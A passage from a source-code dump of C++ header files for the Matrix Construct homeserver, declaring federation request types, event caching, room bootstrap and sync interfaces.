edu::m_direct_to_device::m_direct_to_device; 36 | }; 37 | -------------------------------------------------------------------------------- /include/ircd/m/edu.h: -------------------------------------------------------------------------------- 1 | // Matrix Construct 2 | // 3 | // Copyright (C) Matrix Construct Developers, Authors & Contributors 4 | // Copyright (C) 2016-2018 Jason Volk 5 | // 6 | // Permission to use, copy, modify, and/or distribute this software for any 7 | // purpose with or without fee is hereby granted, provided that the above 8 | // copyright notice and this permission notice is present in all copies. The 9 | // full license for this software is available in the LICENSE file. 10 | 11 | #pragma once 12 | #define HAVE_IRCD_M_EDU_H 13 | 14 | namespace ircd::m 15 | { 16 | struct edu; 17 | } 18 | 19 | struct ircd::m::edu 20 | :json::tuple 21 | < 22 | json::property, 23 | json::property 24 | > 25 | { 26 | struct m_presence; 27 | struct m_typing; 28 | struct m_receipt; 29 | struct m_direct_to_device; 30 | 31 | using super_type::tuple; 32 | using super_type::operator=; 33 | }; 34 | -------------------------------------------------------------------------------- /include/ircd/m/event/cached.h: -------------------------------------------------------------------------------- 1 | // Matrix Construct 2 | // 3 | // Copyright (C) Matrix Construct Developers, Authors & Contributors 4 | // Copyright (C) 2016-2018 Jason Volk 5 | // 6 | // Permission to use, copy, modify, and/or distribute this software for any 7 | // purpose with or without fee is hereby granted, provided that the above 8 | // copyright notice and this permission notice is present in all copies. The 9 | // full license for this software is available in the LICENSE file. 10 | 11 | #pragma once 12 | #define HAVE_IRCD_M_EVENT_CACHED_H 13 | 14 | namespace ircd::m 15 | { 16 | event::keys::selection cached_keys(const event::idx &, const event::fetch::opts &); 17 | 18 | bool cached(const event::idx &, const event::fetch::opts &); 19 | bool cached(const event::idx &); 20 | 21 | bool cached(const event::id &, const event::fetch::opts &); 22 | bool cached(const event::id &); 23 | } 24 | -------------------------------------------------------------------------------- /include/ircd/m/event/event_id.h: -------------------------------------------------------------------------------- 1 | // Matrix Construct 2 | // 3 | // Copyright (C) Matrix Construct Developers, Authors & Contributors 4 | // Copyright (C) 2016-2018 Jason Volk 5 | // 6 | // Permission to use, copy, modify, and/or distribute this software for any 7 | // purpose with or without fee is hereby granted, provided that the above 8 | // copyright notice and this permission notice is present in all copies. The 9 | // full license for this software is available in the LICENSE file. 10 | 11 | #pragma once 12 | #define HAVE_IRCD_M_EVENT_EVENT_ID_H 13 | 14 | // Convenience suite to reverse event::idx to event::id. Note that event::id's 15 | // have more many more tools and related elements than what is found in this 16 | // header; despite the name which merely matches the function name here. 17 | 18 | namespace ircd::m 19 | { 20 | bool event_id(std::nothrow_t, const event::idx &, const event::id::closure &); 21 | 22 | [[nodiscard]] event::id event_id(std::nothrow_t, const event::idx &, event::id::buf &); 23 | event::id event_id(const event::idx &, event::id::buf &); 24 | 25 | [[nodiscard]] event::id::buf event_id(std::nothrow_t, const event::idx &); 26 | event::id::buf event_id(const event::idx &); 27 | } 28 | -------------------------------------------------------------------------------- /include/ircd/m/event/prefetch.h: -------------------------------------------------------------------------------- 1 | // Matrix Construct 2 | // 3 | // Copyright (C) Matrix Construct Developers, Authors & Contributors 4 | // Copyright (C) 2016-2018 Jason Volk 5 | // 6 | // Permission to use, copy, modify, and/or distribute this software for any 7 | // purpose with or without fee is hereby granted, provided that the above 8 | // copyright notice and this permission notice is present in all copies. The 9 | // full license for this software is available in the LICENSE file. 10 | 11 | #pragma once 12 | #define HAVE_IRCD_M_EVENT_PREFETCH_H 13 | 14 | namespace ircd::m 15 | { 16 | bool prefetch(const event::idx &, const event::fetch::opts & = event::fetch::default_opts); 17 | bool prefetch(const event::idx &, const string_view &key); 18 | 19 | bool prefetch(const event::id &, const event::fetch::opts & = event::fetch::default_opts); 20 | bool prefetch(const event::id &, const string_view &key); 21 | } 22 | -------------------------------------------------------------------------------- /include/ircd/m/fed/backfill.h: -------------------------------------------------------------------------------- 1 | // Matrix Construct 2 | // 3 | // Copyright (C) Matrix Construct Developers, Authors & Contributors 4 | // Copyright (C) 2016-2018 Jason Volk 5 | // 6 | // Permission to use, copy, modify, and/or distribute this software for any 7 | // purpose with or without fee is hereby granted, provided that the above 8 | // copyright notice and this permission notice is present in all copies. The 9 | // full license for this software is available in the LICENSE file. 10 | 11 | #pragma once 12 | #define HAVE_IRCD_M_FED_BACKFILL_H 13 | 14 | namespace ircd::m::fed 15 | { 16 | struct backfill; 17 | }; 18 | 19 | struct ircd::m::fed::backfill 20 | :request 21 | { 22 | struct opts; 23 | 24 | explicit operator json::object() const 25 | { 26 | return json::object 27 | { 28 | in.content 29 | }; 30 | } 31 | 32 | backfill(const room::id &, 33 | const mutable_buffer &, 34 | opts); 35 | 36 | backfill() = default; 37 | }; 38 | 39 | struct ircd::m::fed::backfill::opts 40 | :request::opts 41 | { 42 | string_view event_id; 43 | size_t limit {64}; 44 | }; 45 | -------------------------------------------------------------------------------- /include/ircd/m/fed/event.h: -------------------------------------------------------------------------------- 1 | // Matrix Construct 2 | // 3 | // Copyright (C) Matrix Construct Developers, Authors & Contributors 4 | // Copyright (C) 2016-2018 Jason Volk 5 | // 6 | // Permission to use, copy, modify, and/or distribute this software for any 7 | // purpose with or without fee is hereby granted, provided that the above 8 | // copyright notice and this permission notice is present in all copies. The 9 | // full license for this software is available in the LICENSE file. 10 | 11 | #pragma once 12 | #define HAVE_IRCD_M_FED_EVENT_H 13 | 14 | namespace ircd::m::fed 15 | { 16 | struct event; 17 | }; 18 | 19 | struct ircd::m::fed::event 20 | :request 21 | { 22 | explicit operator json::object() const; 23 | explicit operator m::event() const; 24 | 25 | event(const m::event::id &, 26 | const mutable_buffer &, 27 | opts); 28 | 29 | event() = default; 30 | }; 31 | 32 | inline 33 | ircd::m::fed::event::operator 34 | ircd::m::event() 35 | const 36 | { 37 | return json::object{*this}; 38 | } 39 | 40 | inline 41 | ircd::m::fed::event::operator 42 | ircd::json::object() 43 | const 44 | { 45 | const json::object object 46 | { 47 | in.content 48 | }; 49 | 50 | const json::array pdus 51 | { 52 | object.at("pdus") 53 | }; 54 | 55 | return pdus.at(0); 56 | } 57 | -------------------------------------------------------------------------------- /include/ircd/m/fed/event_auth.h: -------------------------------------------------------------------------------- 1 | // Matrix Construct 2 | // 3 | // Copyright (C) Matrix Construct Developers, Authors & Contributors 4 | // Copyright (C) 2016-2018 Jason Volk 5 | // 6 | // Permission to use, copy, modify, and/or distribute this software for any 7 | // purpose with or without fee is hereby granted, provided that the above 8 | // copyright notice and this permission notice is present in all copies. The 9 | // full license for this software is available in the LICENSE file. 10 | 11 | #pragma once 12 | #define HAVE_IRCD_M_FED_EVENT_AUTH_H 13 | 14 | namespace ircd::m::fed 15 | { 16 | struct event_auth; 17 | }; 18 | 19 | struct ircd::m::fed::event_auth 20 | :request 21 | { 22 | struct opts; 23 | 24 | explicit operator json::array() const 25 | { 26 | const json::object object 27 | { 28 | in.content 29 | }; 30 | 31 | return object["auth_chain"]; 32 | } 33 | 34 | event_auth(const m::room::id &, 35 | const m::event::id &, 36 | const mutable_buffer &, 37 | opts); 38 | 39 | event_auth() = default; 40 | }; 41 | 42 | struct ircd::m::fed::event_auth::opts 43 | :request::opts 44 | { 45 | /// Receive fast auth_chain_ids from construct; or auth_chain from synapse. 46 | bool ids {false}; 47 | 48 | /// Receive slower auth_chain_ids; supported by all servers. 49 | bool ids_only {false}; 50 | }; 51 | -------------------------------------------------------------------------------- /include/ircd/m/fed/event_near.h: -------------------------------------------------------------------------------- 1 | // Matrix Construct 2 | // 3 | // Copyright (C) Matrix Construct Developers, Authors & Contributors 4 | // Copyright (C) 2016-2022 Jason Volk 5 | // 6 | // Permission to use, copy, modify, and/or distribute this software for any 7 | // purpose with or without fee is hereby granted, provided that the above 8 | // copyright notice and this permission notice is present in all copies. The 9 | // full license for this software is available in the LICENSE file. 10 | 11 | #pragma once 12 | #define HAVE_IRCD_M_FED_EVENT_NEAR_H 13 | 14 | namespace ircd::m::fed 15 | { 16 | struct event_near; 17 | } 18 | 19 | struct ircd::m::fed::event_near 20 | :request 21 | { 22 | explicit operator json::object() const; 23 | 24 | /// if ts > 0, dir=f; 25 | /// if <= 0, dir=b; 26 | /// if ts == 0, ts = now, dir = b; 27 | event_near(const m::room::id &, 28 | const mutable_buffer &, 29 | const int64_t ts, 30 | opts); 31 | 32 | event_near() = default; 33 | }; 34 | 35 | inline 36 | ircd::m::fed::event_near::operator 37 | ircd::json::object() 38 | const 39 | { 40 | const json::object object 41 | { 42 | in.content 43 | }; 44 | 45 | return object; 46 | } 47 | -------------------------------------------------------------------------------- /include/ircd/m/fed/groups.h: -------------------------------------------------------------------------------- 1 | // Matrix Construct 2 | // 3 | // Copyright (C) Matrix Construct Developers, Authors & Contributors 4 | // Copyright (C) 2016-2018 Jason Volk 5 | // 6 | // Permission to use, copy, modify, and/or distribute this software for any 7 | // purpose with or without fee is hereby granted, provided that the above 8 | // copyright notice and this permission notice is present in all copies. The 9 | // full license for this software is available in the LICENSE file. 10 | 11 | #pragma once 12 | #define HAVE_IRCD_M_FED_GROUPS_H 13 | 14 | namespace ircd::m::fed::groups 15 | { 16 | struct publicised; 17 | }; 18 | 19 | struct ircd::m::fed::groups::publicised 20 | :request 21 | { 22 | explicit operator json::object() const 23 | { 24 | return json::object 25 | { 26 | in.content 27 | }; 28 | } 29 | 30 | publicised(const string_view &, 31 | const vector_view &, 32 | const mutable_buffer &, 33 | opts); 34 | 35 | publicised() = default; 36 | }; 37 | -------------------------------------------------------------------------------- /include/ircd/m/fed/hierarchy.h: -------------------------------------------------------------------------------- 1 | // Matrix Construct 2 | // 3 | // Copyright (C) Matrix Construct Developers, Authors & Contributors 4 | // Copyright (C) 2016-2022 Jason Volk 5 | // 6 | // Permission to use, copy, modify, and/or distribute this software for any 7 | // purpose with or without fee is hereby granted, provided that the above 8 | // copyright notice and this permission notice is present in all copies. The 9 | // full license for this software is available in the LICENSE file. 10 | 11 | #pragma once 12 | #define HAVE_IRCD_M_FED_HIERARCHY_H 13 | 14 | namespace ircd::m::fed 15 | { 16 | struct hierarchy; 17 | }; 18 | 19 | struct ircd::m::fed::hierarchy 20 | :request 21 | { 22 | struct opts; 23 | 24 | explicit operator json::object() const 25 | { 26 | return json::object 27 | { 28 | in.content 29 | }; 30 | } 31 | 32 | hierarchy(const room::id &, 33 | const mutable_buffer &, 34 | opts); 35 | 36 | hierarchy() = default; 37 | }; 38 | 39 | struct ircd::m::fed::hierarchy::opts 40 | :request::opts 41 | { 42 | bool suggested_only {false}; 43 | }; 44 | -------------------------------------------------------------------------------- /include/ircd/m/fed/invite.h: -------------------------------------------------------------------------------- 1 | // Matrix Construct 2 | // 3 | // Copyright (C) Matrix Construct Developers, Authors & Contributors 4 | // Copyright (C) 2016-2018 Jason Volk 5 | // 6 | // Permission to use, copy, modify, and/or distribute this software for any 7 | // purpose with or without fee is hereby granted, provided that the above 8 | // copyright notice and this permission notice is present in all copies. The 9 | // full license for this software is available in the LICENSE file. 10 | 11 | #pragma once 12 | #define HAVE_IRCD_M_FED_INVITE_H 13 | 14 | namespace ircd::m::fed 15 | { 16 | struct invite; 17 | }; 18 | 19 | struct ircd::m::fed::invite 20 | :request 21 | { 22 | explicit operator json::array() const 23 | { 24 | return json::array 25 | { 26 | in.content 27 | }; 28 | } 29 | 30 | invite(const room::id &, 31 | const id::event &, 32 | const json::object &, 33 | const mutable_buffer &, 34 | opts); 35 | 36 | invite() = default; 37 | }; 38 | -------------------------------------------------------------------------------- /include/ircd/m/fed/invite2.h: -------------------------------------------------------------------------------- 1 | // Matrix Construct 2 | // 3 | // Copyright (C) Matrix Construct Developers, Authors & Contributors 4 | // Copyright (C) 2016-2019 Jason Volk 5 | // 6 | // Permission to use, copy, modify, and/or distribute this software for any 7 | // purpose with or without fee is hereby granted, provided that the above 8 | // copyright notice and this permission notice is present in all copies. The 9 | // full license for this software is available in the LICENSE file. 10 | 11 | #pragma once 12 | #define HAVE_IRCD_M_FED_INVITE2_H 13 | 14 | namespace ircd::m::fed 15 | { 16 | struct invite2; 17 | }; 18 | 19 | struct ircd::m::fed::invite2 20 | :request 21 | { 22 | explicit operator json::object() const 23 | { 24 | return json::object 25 | { 26 | in.content 27 | }; 28 | } 29 | 30 | invite2(const room::id &, 31 | const id::event &, 32 | const json::object &, 33 | const mutable_buffer &, 34 | opts); 35 | 36 | invite2() = default; 37 | }; 38 | -------------------------------------------------------------------------------- /include/ircd/m/fed/make_join.h: -------------------------------------------------------------------------------- 1 | // Matrix Construct 2 | // 3 | // Copyright (C) Matrix Construct Developers, Authors & Contributors 4 | // Copyright (C) 2016-2018 Jason Volk 5 | // 6 | // Permission to use, copy, modify, and/or distribute this software for any 7 | // purpose with or without fee is hereby granted, provided that the above 8 | // copyright notice and this permission notice is present in all copies. The 9 | // full license for this software is available in the LICENSE file. 10 | 11 | #pragma once 12 | #define HAVE_IRCD_M_FED_MAKE_JOIN_H 13 | 14 | namespace ircd::m::fed 15 | { 16 | struct make_join; 17 | }; 18 | 19 | struct ircd::m::fed::make_join 20 | :request 21 | { 22 | struct opts; 23 | 24 | explicit operator json::object() const 25 | { 26 | return json::object 27 | { 28 | in.content 29 | }; 30 | } 31 | 32 | make_join(const room::id &, 33 | const id::user &, 34 | const mutable_buffer &, 35 | opts); 36 | 37 | make_join() = default; 38 | }; 39 | 40 | struct ircd::m::fed::make_join::opts 41 | :request::opts 42 | { 43 | bool knock {false}; 44 | }; 45 | -------------------------------------------------------------------------------- /include/ircd/m/fed/public_rooms.h: -------------------------------------------------------------------------------- 1 | // Matrix Construct 2 | // 3 | // Copyright (C) Matrix Construct Developers, Authors & Contributors 4 | // Copyright (C) 2016-2018 Jason Volk 5 | // 6 | // Permission to use, copy, modify, and/or distribute this software for any 7 | // purpose with or without fee is hereby granted, provided that the above 8 | // copyright notice and this permission notice is present in all copies. The 9 | // full license for this software is available in the LICENSE file. 10 | 11 | #pragma once 12 | #define HAVE_IRCD_M_FED_PUBLIC_ROOMS_H 13 | 14 | namespace ircd::m::fed 15 | { 16 | struct public_rooms; 17 | }; 18 | 19 | struct ircd::m::fed::public_rooms 20 | :request 21 | { 22 | struct opts; 23 | 24 | explicit operator json::object() const 25 | { 26 | return json::object 27 | { 28 | in.content 29 | }; 30 | } 31 | 32 | public_rooms(const string_view &remote, 33 | const mutable_buffer &, 34 | opts); 35 | 36 | public_rooms() = default; 37 | }; 38 | 39 | struct ircd::m::fed::public_rooms::opts 40 | :request::opts 41 | { 42 | size_t limit {128}; 43 | string_view since; 44 | string_view third_party_instance_id; 45 | bool include_all_networks {true}; 46 | string_view search_term; 47 | }; 48 | -------------------------------------------------------------------------------- /include/ircd/m/fed/query_auth.h: -------------------------------------------------------------------------------- 1 | // Matrix Construct 2 | // 3 | // Copyright (C) Matrix Construct Developers, Authors & Contributors 4 | // Copyright (C) 2016-2019 Jason Volk 5 | // 6 | // Permission to use, copy, modify, and/or distribute this software for any 7 | // purpose with or without fee is hereby granted, provided that the above 8 | // copyright notice and this permission notice is present in all copies. The 9 | // full license for this software is available in the LICENSE file. 10 | 11 | #pragma once 12 | #define HAVE_IRCD_M_FED_QUERY_AUTH_H 13 | 14 | namespace ircd::m::fed 15 | { 16 | struct query_auth; 17 | }; 18 | 19 | struct ircd::m::fed::query_auth 20 | :request 21 | { 22 | explicit operator json::object() const 23 | { 24 | const auto type 25 | { 26 | json::type(in.content) 27 | }; 28 | 29 | return type == json::ARRAY? 30 | json::array{in.content}.at(1): // non-spec [200, {...}] 31 | json::object{in.content}; // spec {...} 32 | } 33 | 34 | query_auth(const m::room::id &, 35 | const m::event::id &, 36 | const json::object &content, 37 | const mutable_buffer &, 38 | opts); 39 | 40 | query_auth() = default; 41 | }; 42 | -------------------------------------------------------------------------------- /include/ircd/m/fed/rooms.h: -------------------------------------------------------------------------------- 1 | // The Construct 2 | // 3 | // Copyright (C) The Construct Developers, Authors & Contributors 4 | // Copyright (C) 2016-2020 Jason Volk 5 | // 6 | // Permission to use, copy, modify, and/or distribute this software for any 7 | // purpose with or without fee is hereby granted, provided that the above 8 | // copyright notice and this permission notice is present in all copies. The 9 | // full license for this software is available in the LICENSE file. 10 | 11 | #pragma once 12 | #define HAVE_IRCD_M_FED_ROOMS_H 13 | 14 | namespace ircd::m::fed::rooms 15 | { 16 | struct complexity; 17 | }; 18 | 19 | struct ircd::m::fed::rooms::complexity 20 | :request 21 | { 22 | explicit operator json::object() const 23 | { 24 | return json::object 25 | { 26 | in.content 27 | }; 28 | } 29 | 30 | complexity(const m::id::room &room_id, 31 | const mutable_buffer &, 32 | opts); 33 | 34 | complexity() = default; 35 | }; 36 | -------------------------------------------------------------------------------- /include/ircd/m/fed/send_join.h: -------------------------------------------------------------------------------- 1 | // Matrix Construct 2 | // 3 | // Copyright (C) Matrix Construct Developers, Authors & Contributors 4 | // Copyright (C) 2016-2018 Jason Volk 5 | // 6 | // Permission to use, copy, modify, and/or distribute this software for any 7 | // purpose with or without fee is hereby granted, provided that the above 8 | // copyright notice and this permission notice is present in all copies. The 9 | // full license for this software is available in the LICENSE file. 10 | 11 | #pragma once 12 | #define HAVE_IRCD_M_FED_SEND_JOIN_H 13 | 14 | namespace ircd::m::fed 15 | { 16 | struct send_join; 17 | }; 18 | 19 | struct ircd::m::fed::send_join 20 | :request 21 | { 22 | struct opts; 23 | 24 | explicit operator json::object() const 25 | { 26 | return json::object 27 | { 28 | in.content 29 | }; 30 | } 31 | 32 | send_join(const room::id &, 33 | const id::event &, 34 | const const_buffer &, 35 | const mutable_buffer &, 36 | opts); 37 | 38 | send_join() = default; 39 | }; 40 | 41 | struct ircd::m::fed::send_join::opts 42 | :request::opts 43 | { 44 | bool knock {false}; 45 | bool omit_members {false}; 46 | }; 47 | -------------------------------------------------------------------------------- /include/ircd/m/fed/state.h: -------------------------------------------------------------------------------- 1 | // Matrix Construct 2 | // 3 | // Copyright (C) Matrix Construct Developers, Authors & Contributors 4 | // Copyright (C) 2016-2018 Jason Volk 5 | // 6 | // Permission to use, copy, modify, and/or distribute this software for any 7 | // purpose with or without fee is hereby granted, provided that the above 8 | // copyright notice and this permission notice is present in all copies. The 9 | // full license for this software is available in the LICENSE file. 10 | 11 | #pragma once 12 | #define HAVE_IRCD_M_FED_STATE_H 13 | 14 | namespace ircd::m::fed 15 | { 16 | struct state; 17 | }; 18 | 19 | struct ircd::m::fed::state 20 | :request 21 | { 22 | struct opts; 23 | 24 | explicit operator json::object() const 25 | { 26 | return json::object 27 | { 28 | in.content 29 | }; 30 | } 31 | 32 | state(const room::id &, 33 | const mutable_buffer &, 34 | opts); 35 | 36 | state() = default; 37 | }; 38 | 39 | struct ircd::m::fed::state::opts 40 | :request::opts 41 | { 42 | string_view event_id; 43 | bool ids_only {false}; 44 | }; 45 | -------------------------------------------------------------------------------- /include/ircd/m/fed/user.h: -------------------------------------------------------------------------------- 1 | // Matrix Construct 2 | // 3 | // Copyright (C) Matrix Construct Developers, Authors & Contributors 4 | // Copyright (C) 2016-2018 Jason Volk 5 | // 6 | // Permission to use, copy, modify, and/or distribute this software for any 7 | // purpose with or without fee is hereby granted, provided that the above 8 | // copyright notice and this permission notice is present in all copies. The 9 | // full license for this software is available in the LICENSE file. 10 | 11 | #pragma once 12 | #define HAVE_IRCD_M_FED_USER_H 13 | 14 | namespace ircd::m::fed::user 15 | { 16 | struct devices; 17 | 18 | using opts = request::opts; 19 | } 20 | 21 | struct ircd::m::fed::user::devices 22 | :request 23 | { 24 | explicit operator json::object() const 25 | { 26 | return json::object 27 | { 28 | in.content 29 | }; 30 | } 31 | 32 | devices(const id::user &user_id, 33 | const mutable_buffer &, 34 | opts); 35 | 36 | devices() = default; 37 | }; 38 | -------------------------------------------------------------------------------- /include/ircd/m/fed/version.h: -------------------------------------------------------------------------------- 1 | // Matrix Construct 2 | // 3 | // Copyright (C) Matrix Construct Developers, Authors & Contributors 4 | // Copyright (C) 2016-2018 Jason Volk 5 | // 6 | // Permission to use, copy, modify, and/or distribute this software for any 7 | // purpose with or without fee is hereby granted, provided that the above 8 | // copyright notice and this permission notice is present in all copies. The 9 | // full license for this software is available in the LICENSE file. 10 | 11 | #pragma once 12 | #define HAVE_IRCD_M_FED_VERSION_H 13 | 14 | namespace ircd::m::fed 15 | { 16 | struct version; 17 | }; 18 | 19 | struct ircd::m::fed::version 20 | :request 21 | { 22 | explicit operator json::object() const 23 | { 24 | return json::object 25 | { 26 | in.content 27 | }; 28 | } 29 | 30 | version(const mutable_buffer &, 31 | opts); 32 | 33 | version() = default; 34 | }; 35 | -------------------------------------------------------------------------------- /include/ircd/m/groups.h: -------------------------------------------------------------------------------- 1 | // The Construct 2 | // 3 | // Copyright (C) The Construct Developers, Authors & Contributors 4 | // Copyright (C) 2016-2020 Jason Volk 5 | // 6 | // Permission to use, copy, modify, and/or distribute this software for any 7 | // purpose with or without fee is hereby granted, provided that the above 8 | // copyright notice and this permission notice is present in all copies. The 9 | // full license for this software is available in the LICENSE file. 10 | 11 | #pragma once 12 | #define HAVE_IRCD_M_GROUPS_H 13 | 14 | namespace ircd::m::groups 15 | { 16 | extern log::log log; 17 | } 18 | -------------------------------------------------------------------------------- /include/ircd/m/init.h: -------------------------------------------------------------------------------- 1 | // Matrix Construct 2 | // 3 | // Copyright (C) Matrix Construct Developers, Authors & Contributors 4 | // Copyright (C) 2016-2019 Jason Volk 5 | // 6 | // Permission to use, copy, modify, and/or distribute this software for any 7 | // purpose with or without fee is hereby granted, provided that the above 8 | // copyright notice and this permission notice is present in all copies. The 9 | // full license for this software is available in the LICENSE file. 10 | 11 | #pragma once 12 | #define HAVE_IRCD_M_INIT_H 13 | 14 | namespace ircd::m::init 15 | { 16 | struct modules; 17 | struct bootstrap; 18 | } 19 | 20 | /// Internal use only; do not call 21 | namespace ircd::m::init::backfill 22 | { 23 | void 24 | init(), 25 | term() noexcept, 26 | fini() noexcept; 27 | } 28 | 29 | /// Internal use only; do not call 30 | struct ircd::m::init::modules 31 | { 32 | void fini_imports() noexcept; 33 | void init_imports(); 34 | 35 | modules(); 36 | ~modules() noexcept; 37 | }; 38 | 39 | /// Internal use only; do not call 40 | struct ircd::m::init::bootstrap 41 | { 42 | bootstrap(); 43 | }; 44 | -------------------------------------------------------------------------------- /include/ircd/m/invite_3pid.h: -------------------------------------------------------------------------------- 1 | // Matrix Construct 2 | // 3 | // Copyright (C) Matrix Construct Developers, Authors & Contributors 4 | // Copyright (C) 2016-2018 Jason Volk 5 | // 6 | // Permission to use, copy, modify, and/or distribute this software for any 7 | // purpose with or without fee is hereby granted, provided that the above 8 | // copyright notice and this permission notice is present in all copies. The 9 | // full license for this software is available in the LICENSE file. 10 | 11 | #pragma once 12 | #define HAVE_IRCD_M_INVITE_3PID_H 13 | 14 | namespace ircd::m 15 | { 16 | struct invite_3pid; 17 | } 18 | 19 | struct ircd::m::invite_3pid 20 | :json::tuple 21 | < 22 | /// Required. The hostname+port of the identity server which should be 23 | /// used for third party identifier lookups. 24 | json::property, 25 | 26 | /// Required. The kind of address being passed in the address field, 27 | /// for example email. 28 | json::property, 29 | 30 | /// Required. The invitee's third party identifier. 31 | json::property 32 | > 33 | { 34 | using super_type::tuple; 35 | }; 36 | -------------------------------------------------------------------------------- /include/ircd/m/room/bootstrap.h: -------------------------------------------------------------------------------- 1 | // Matrix Construct 2 | // 3 | // Copyright (C) Matrix Construct Developers, Authors & Contributors 4 | // Copyright (C) 2016-2019 Jason Volk 5 | // 6 | // Permission to use, copy, modify, and/or distribute this software for any 7 | // purpose with or without fee is hereby granted, provided that the above 8 | // copyright notice and this permission notice is present in all copies. The 9 | // full license for this software is available in the LICENSE file. 10 | 11 | #pragma once 12 | #define HAVE_IRCD_M_ROOM_BOOTSTRAP_H 13 | 14 | struct ircd::m::room::bootstrap 15 | { 16 | static bool required(const id &); 17 | 18 | // restrap: synchronous; send_join 19 | bootstrap(const event &, const string_view &host, const string_view &room_version = {}); 20 | 21 | // restrap: asynchronous; launch ctx; send_join 22 | bootstrap(const event::id &, const string_view &host, const string_view &room_version = {}); 23 | 24 | // synchronous make_join, eval; asynchronous send_join 25 | bootstrap(event::id::buf &, const room::id &, const m::id::user &, const vector_view &hosts); 26 | }; 27 | -------------------------------------------------------------------------------- /include/ircd/m/room/horizon.h: -------------------------------------------------------------------------------- 1 | // Matrix Construct 2 | // 3 | // Copyright (C) Matrix Construct Developers, Authors & Contributors 4 | // Copyright (C) 2016-2023 Jason Volk 5 | // 6 | // Permission to use, copy, modify, and/or distribute this software for any 7 | // purpose with or without fee is hereby granted, provided that the above 8 | // copyright notice and this permission notice is present in all copies. The 9 | // full license for this software is available in the LICENSE file. 10 | 11 | #pragma once 12 | #define HAVE_IRCD_M_ROOM_HORIZON_H 13 | 14 | /// Find missing room events. This is an interface to the event-horizon for 15 | /// this room. The event horizon is keyed by event_id and the value is the 16 | /// event::idx of the event referencing it. There can be multiple entries for 17 | /// an event_id. The closure is also invoked with the depth of the referencer. 18 | /// 19 | struct ircd::m::room::horizon 20 | { 21 | using closure = util::function_bool 22 | < 23 | const event::id &, const uint64_t &, const event::idx & 24 | >; 25 | 26 | m::room room; 27 | 28 | public: 29 | bool for_each(const closure &) const; 30 | size_t count() const; 31 | 32 | size_t rebuild(); 33 | 34 | horizon() = default; 35 | horizon(const m::room &room) 36 | :room{room} 37 | {} 38 | }; 39 | -------------------------------------------------------------------------------- /include/ircd/m/room/stats.h: -------------------------------------------------------------------------------- 1 | // Matrix Construct 2 | // 3 | // Copyright (C) Matrix Construct Developers, Authors & Contributors 4 | // Copyright (C) 2016-2019 Jason Volk 5 | // 6 | // Permission to use, copy, modify, and/or distribute this software for any 7 | // purpose with or without fee is hereby granted, provided that the above 8 | // copyright notice and this permission notice is present in all copies. The 9 | // full license for this software is available in the LICENSE file. 10 | 11 | #pragma once 12 | #define HAVE_IRCD_M_ROOM_STATS_H 13 | 14 | struct ircd::m::room::stats 15 | { 16 | static size_t bytes_json_compressed(const m::room &); 17 | static size_t bytes_json(const m::room &); 18 | 19 | static size_t bytes_total_compressed(const m::room &); 20 | static size_t bytes_total(const m::room &); 21 | }; 22 | -------------------------------------------------------------------------------- /include/ircd/m/self.h: -------------------------------------------------------------------------------- 1 | // Matrix Construct 2 | // 3 | // Copyright (C) Matrix Construct Developers, Authors & Contributors 4 | // Copyright (C) 2016-2018 Jason Volk 5 | // 6 | // Permission to use, copy, modify, and/or distribute this software for any 7 | // purpose with or without fee is hereby granted, provided that the above 8 | // copyright notice and this permission notice is present in all copies. The 9 | // full license for this software is available in the LICENSE file. 10 | 11 | #pragma once 12 | #define HAVE_IRCD_M_SELF_H 13 | 14 | namespace ircd::m::self 15 | { 16 | // Test if provided string is one of my homeserver's network_name()'s. 17 | bool my_host(const string_view &); 18 | 19 | // Similar to my_host(), but the comparison is relaxed to allow port 20 | // numbers to be a factor: myself.com:8448 input will match if a homeserver 21 | // here has a network_name of myself.com. 22 | bool host(const string_view &); 23 | 24 | // Alias for origin(my()); primary homeserver's network name 25 | string_view my_host(); //__attribute__((deprecated)); 26 | } 27 | 28 | namespace ircd::m 29 | { 30 | using self::my_host; 31 | using self::host; 32 | } 33 | 34 | namespace ircd 35 | { 36 | using m::my_host; 37 | } 38 | -------------------------------------------------------------------------------- /include/ircd/m/sync/since.h: -------------------------------------------------------------------------------- 1 | // The Construct 2 | // 3 | // Copyright (C) The Construct Developers, Authors & Contributors 4 | // Copyright (C) 2016-2020 Jason Volk 5 | // 6 | // Permission to use, copy, modify, and/or distribute this software for any 7 | // purpose with or without fee is hereby granted, provided that the above 8 | // copyright notice and this permission notice is present in all copies. The 9 | // full license for this software is available in the LICENSE file. 10 | 11 | #pragma once 12 | #define HAVE_IRCD_M_SYNC_SINCE_H 13 | 14 | namespace ircd::m::sync 15 | { 16 | using since = std::tuple; 17 | 18 | event::idx sequence(const since &); 19 | since make_since(const string_view &); 20 | string_view make_since(const mutable_buffer &, const m::events::range &, const string_view &flags = {}); 21 | string_view make_since(const mutable_buffer &, const int64_t &, const string_view &flags = {}); 22 | } 23 | 24 | inline ircd::m::event::idx 25 | ircd::m::sync::sequence(const since &since) 26 | { 27 | const auto &[token, snapshot, flags] 28 | { 29 | since 30 | }; 31 | 32 | return snapshot?: token?: -1UL; 33 | } 34 | -------------------------------------------------------------------------------- /include/ircd/m/sync/stats.h: -------------------------------------------------------------------------------- 1 | // The Construct 2 | // 3 | // Copyright (C) The Construct Developers, Authors & Contributors 4 | // Copyright (C) 2016-2020 Jason Volk 5 | // 6 | // Permission to use, copy, modify, and/or distribute this software for any 7 | // purpose with or without fee is hereby granted, provided that the above 8 | // copyright notice and this permission notice is present in all copies. The 9 | // full license for this software is available in the LICENSE file. 10 | 11 | #pragma once 12 | #define HAVE_IRCD_M_SYNC_STATS_H 13 | 14 | namespace ircd::m::sync 15 | { 16 | struct stats; 17 | } 18 | 19 | /// Collection of statistics related items to not pollute the item/data 20 | /// structures etc. 21 | struct ircd::m::sync::stats 22 | { 23 | static conf::item info; 24 | 25 | ircd::timer timer; 26 | size_t flush_bytes {0}; 27 | size_t flush_count {0}; 28 | }; 29 | -------------------------------------------------------------------------------- /include/ircd/m/sync/sync.h: -------------------------------------------------------------------------------- 1 | // The Construct 2 | // 3 | // Copyright (C) The Construct Developers, Authors & Contributors 4 | // Copyright (C) 2016-2020 Jason Volk 5 | // 6 | // Permission to use, copy, modify, and/or distribute this software for any 7 | // purpose with or without fee is hereby granted, provided that the above 8 | // copyright notice and this permission notice is present in all copies. The 9 | // full license for this software is available in the LICENSE file. 10 | 11 | #pragma once 12 | #define HAVE_IRCD_M_SYNC_SYNC_H 13 | 14 | /// Matrix Client Synchronization. 15 | /// 16 | /// This header and contents of this namespace within the central matrix 17 | /// library exist to provide support for the actual sync functionality which 18 | /// is distributed within modules under `modules/client/sync/`. This central 19 